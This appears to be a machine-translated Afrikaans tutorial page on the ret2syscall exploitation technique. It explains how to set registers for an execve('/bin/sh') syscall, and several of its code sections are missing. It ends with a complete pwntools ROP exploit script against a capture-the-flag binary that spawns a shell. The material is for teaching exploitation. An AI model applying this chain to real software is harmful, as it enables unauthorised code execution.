Ret2syscall
Ret2syscall
Basiese Inligting
Dit is soortgelyk aan Ret2lib, maar in hierdie geval sal ons nie 'n funksie van 'n biblioteek aanroep nie. In hierdie geval sal alles voorberei word om die syscall sys_execve
aan te roep met 'n paar argumente om /bin/sh
uit te voer. Hierdie tegniek word gewoonlik uitgevoer op bineêre lêers wat staties saamgestel is, sodat daar baie gadgets en syscall-instruksies kan wees.
Om die oproep vir die syscall voor te berei, is die volgende konfigurasie nodig:
rax: 59 Spesifiseer sys_execve
rdi: ptr na "/bin/sh" spesifiseer lêer om uit te voer
rsi: 0 spesifiseer geen argumente wat oorgedra word nie
rdx: 0 spesifiseer geen omgewingsveranderlikes wat oorgedra word nie
Dus, dit is basies nodig om die string /bin/sh
êrens te skryf en dan die syscall
uit te voer (met bewustheid van die vulsel wat nodig is om die stapel te beheer). Hiervoor het ons 'n gadget nodig om /bin/sh
in 'n bekende area te skryf.
'n Ander interessante syscall om aan te roep is mprotect
wat 'n aanvaller in staat sou stel om die toestemmings van 'n bladsy in geheue te wysig. Dit kan gekombineer word met ret2shellcode.
Registreer gadgets
Laten ons begin deur te vind hoe om daardie registre te beheer:
Met hierdie adresse is dit moontlik om die inhoud in die stok te skryf en dit in die registers te laai.
Skryf string
Skryfbare geheue
Eerstens moet jy 'n skryfbare plek in die geheue vind
Skryf String in geheue
Dan moet jy 'n manier vind om willekeurige inhoud op hierdie adres te skryf
Outomatiseer ROP-ketting
Die volgende bevel skep 'n volledige sys_execve
ROP-ketting vir 'n statiese binêre lêer wanneer daar skryf-wat-waar gadgets en syscall instruksies is:
32 bits
64 bietjies
Ontbrekende Toestelle
Indien jy ontbreek aan toestelle, byvoorbeeld om /bin/sh
in die geheue te skryf, kan jy die SROP-tegniek gebruik om al die registerwaardes (insluitend RIP en params register) vanaf die stok te beheer:
```python from pwn import *
target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad')
Establish our ROP Gadgets
popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5)
0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
Our syscall gadget
syscall = p64(0x40129c)
''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget
''' Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0
syscall '''
rop += popRax rop += p64(0x3b)
rop += popRdi rop += p64(0x6b6000)
rop += popRsi rop += p64(0) rop += popRdx rop += p64(0)
rop += syscall
Add the padding to the saved return address
payload = "0"*0x408 + rop
Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Last updated